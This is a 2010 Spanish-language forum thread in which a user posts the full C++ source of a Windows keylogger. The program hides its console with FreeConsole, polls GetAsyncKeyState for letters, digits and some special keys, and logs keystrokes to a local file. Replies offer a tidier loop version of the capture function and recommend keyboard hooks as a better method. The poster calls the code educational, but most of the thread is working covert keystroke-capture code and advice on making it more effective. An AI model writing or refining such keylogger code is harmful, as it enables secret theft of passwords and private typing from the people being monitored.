Keylogger en C++

Iniciado por M3LiNdR1, 29 Mayo 2010, 14:07 PM

0 Miembros y 1 Visitante están viendo este tema.

M3LiNdR1

Pues os enseño el codigo que he programado, basandome, en lo que he leído por Internet. Acepto críticas y consejos :).
Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:

Código (cpp) [Seleccionar]

#include <iostream>
#include <windows.h>
using namespace std;


char keys() {
char c = '/';
if (GetAsyncKeyState('A')) c = 'A';
else if (GetAsyncKeyState('B')) c = 'B';
else if (GetAsyncKeyState('C')) c = 'C';
else if (GetAsyncKeyState('D')) c = 'D';
else if (GetAsyncKeyState('E')) c = 'E';
else if (GetAsyncKeyState('F')) c = 'F';
else if (GetAsyncKeyState('G')) c = 'G';
else if (GetAsyncKeyState('H')) c = 'H';
else if (GetAsyncKeyState('I')) c = 'I';
else if (GetAsyncKeyState('J')) c = 'J';
else if (GetAsyncKeyState('K')) c = 'K';
else if (GetAsyncKeyState('L')) c = 'L';
else if (GetAsyncKeyState('M')) c = 'M';
else if (GetAsyncKeyState('N')) c = 'N';
else if (GetAsyncKeyState('O')) c = 'O';
else if (GetAsyncKeyState('P')) c = 'P';
else if (GetAsyncKeyState('Q')) c = 'Q';
else if (GetAsyncKeyState('R')) c = 'R';
else if (GetAsyncKeyState('S')) c = 'S';
else if (GetAsyncKeyState('T')) c = 'T';
else if (GetAsyncKeyState('U')) c = 'U';
else if (GetAsyncKeyState('V')) c = 'V';
else if (GetAsyncKeyState('W')) c = 'W';
else if (GetAsyncKeyState('X')) c = 'X';
else if (GetAsyncKeyState('Y')) c = 'Y';
else if (GetAsyncKeyState('Z')) c = 'Z';
else if (GetAsyncKeyState('1')) c = '1';
else if (GetAsyncKeyState('2')) c = '2';
else if (GetAsyncKeyState('3')) c = '3';
else if (GetAsyncKeyState('4')) c = '4';
else if (GetAsyncKeyState('5')) c = '5';
else if (GetAsyncKeyState('6')) c = '6';
else if (GetAsyncKeyState('7')) c = '7';
else if (GetAsyncKeyState('8')) c = '8';
else if (GetAsyncKeyState('9')) c = '9';
else if (GetAsyncKeyState('0')) c = '0';
else if (GetAsyncKeyState(VK_SHIFT)) c = '^';
else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
else if (GetAsyncKeyState(VK_BACK)) c = ' ';
return c;
}

int main() {
FreeConsole(); //Esconde el terminal
FILE *f;
f = fopen("file.txt","w"); //Crea i abre un archivo
char c = ' ';
while(c != 0x1B) {
c = keys();
if (c != '/') {
fprintf( f , "%c",c); //Escribe el caracter en el archivo
//cout << c;
}
Sleep(120); //Interrumpe el programa durante 120 milisegundos
}
fclose(f);
AllocConsole(); //Muestra el terminal
cout << "FIN DE PROGRAMA :)" << endl;
}


Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.

Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?


Esto es todo!! Espero sus opiniones.

P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.


Muchas gracias!!  :D
Va baixar davant dels meus...ulls molt suaument...sense alterar la quietud de la nit,amb un somriure ple de confiança com sino se li escapes res...


C/C++ - Prolog - Java - PHP - Python - SQL - ASP.NET - C# - javascript

h0oke

Hay algo raro... pero... será que en la función keys() tienes muchos GetAnseyKeyState? Creo que lo correcto sería llamar a esta última una única vez, y en la función keys, hacer un switch de la tecla leída.

Horricreu

#2
Es mejor utilizar hooks, te ahorras mucho código y van mejor ;)

Saludos :P

M3LiNdR1

CitarHay algo raro... pero... será que en la función keys() tienes muchos GetAnseyKeyState? Creo que lo correcto sería llamar a esta última una única vez, y en la función keys, hacer un switch de la tecla leída.

Con una sola llamada? y entonces como lo tratas para cada boton del teclado?



Cita de: Horricreu en 29 Mayo 2010, 21:32 PM
Es mejor utilizar hooks, te ahorras mucho código y va mejor  ;)

Saludos  :P

Que es esto de los hooks???, lo he leído por el foro. Pero no lo entiendo.
Va baixar davant dels meus...ulls molt suaument...sense alterar la quietud de la nit,amb un somriure ple de confiança com sino se li escapes res...


C/C++ - Prolog - Java - PHP - Python - SQL - ASP.NET - C# - javascript

@synthesize

Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?

Horricreu

#5
Hooks para Windows ;)

Saludos :P

PD: busca en Google, hay muchos ejemplos de keyloggers usando hooks en C/C++.

seba123neo

La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

M3LiNdR1

Cita de: GNU López en 29 Mayo 2010, 22:00 PM
Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?

Mmmm....si, he encontrado este proyecto por internet, por si te interesa:
http://sourceforge.net/projects/lkl/



Gracias Horricreu  y seba123neo, ya entiendo que son...Esq claro yo en principio pensaba usar algun evento en java y hacer el programa en java, pero claro, solo podia aplicar los eventos de los controles. Voy a ver si existen hooks en java y como tratarlos ;)

Sino c++ :)
Va baixar davant dels meus...ulls molt suaument...sense alterar la quietud de la nit,amb un somriure ple de confiança com sino se li escapes res...


C/C++ - Prolog - Java - PHP - Python - SQL - ASP.NET - C# - javascript

Horricreu

#8
Sí hay hooks en Java, pero te recomendaría utilizar C/C++ para hacerlo, ya sea por su sencillez (si dominas la API) y sobretodo porque hay muchísima más información en C/C++.

Cita de: M3LiNdR1 en  1 Junio 2010, 00:08 AM

Gracias Horricreu  y seba123neo, ya entiendo que son...Esq claro yo en principio pensaba usar algun evento en java y hacer el programa en java, pero claro, solo podia aplicar los eventos de los controles. Voy a ver si existen hooks en java y como tratarlos ;)

Sino c++ :)

De nada ::)

Saludos :P

pizarron

Si todavía queres seguir usando GetAsyncKeyState() podes hacer lo siguiente para los caractéres alfanuméricos:

char keys() {
char c = '/';
for( char key='0'; key<='Z'; key++ ){
if( key<='9' || key>='A' )
if( GetAsyncKeyState(key) ){
c = key;
break;
}
}

if( c=='/' ){
if (GetAsyncKeyState(VK_SHIFT)) c = '^';
else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
else if (GetAsyncKeyState(VK_BACK)) c = ' ';
}

return c;
}